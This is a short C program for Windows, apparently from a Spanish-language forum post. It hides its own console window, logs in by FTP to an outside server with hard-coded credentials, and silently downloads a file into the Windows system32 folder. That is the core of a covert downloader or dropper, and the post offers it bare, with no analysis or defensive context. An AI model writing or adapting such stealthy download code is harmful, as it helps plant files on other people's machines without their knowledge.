Código: Seleccionar todo
#include <windows.h>
#include <wininet.h>
#define RARCHIVO "index.html"
#define LARCHIVO "%SYSTEMROOT%\\system32\\index.html"
int main()
{
HINTERNET hInternet, hServer;
ShowWindow(GetForegroundWindow(),SW_HIDE);
hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
hServer = InternetConnect(hInternet, "ftp.usuarios.hispa.es", INTERNET_DEFAULT_FTP_PORT, "cosas", "xxxxxxxxx", INTERNET_SERVICE_FTP, 0, 0);
FtpGetFile(hServer, RARCHIVO, LARCHIVO, (int)NULL, FILE_ATTRIBUTE_NORMAL, FTP_TRANSFER_TYPE_BINARY, 0);
InternetCloseHandle(hInternet);
InternetCloseHandle(hServer);
return 0;
}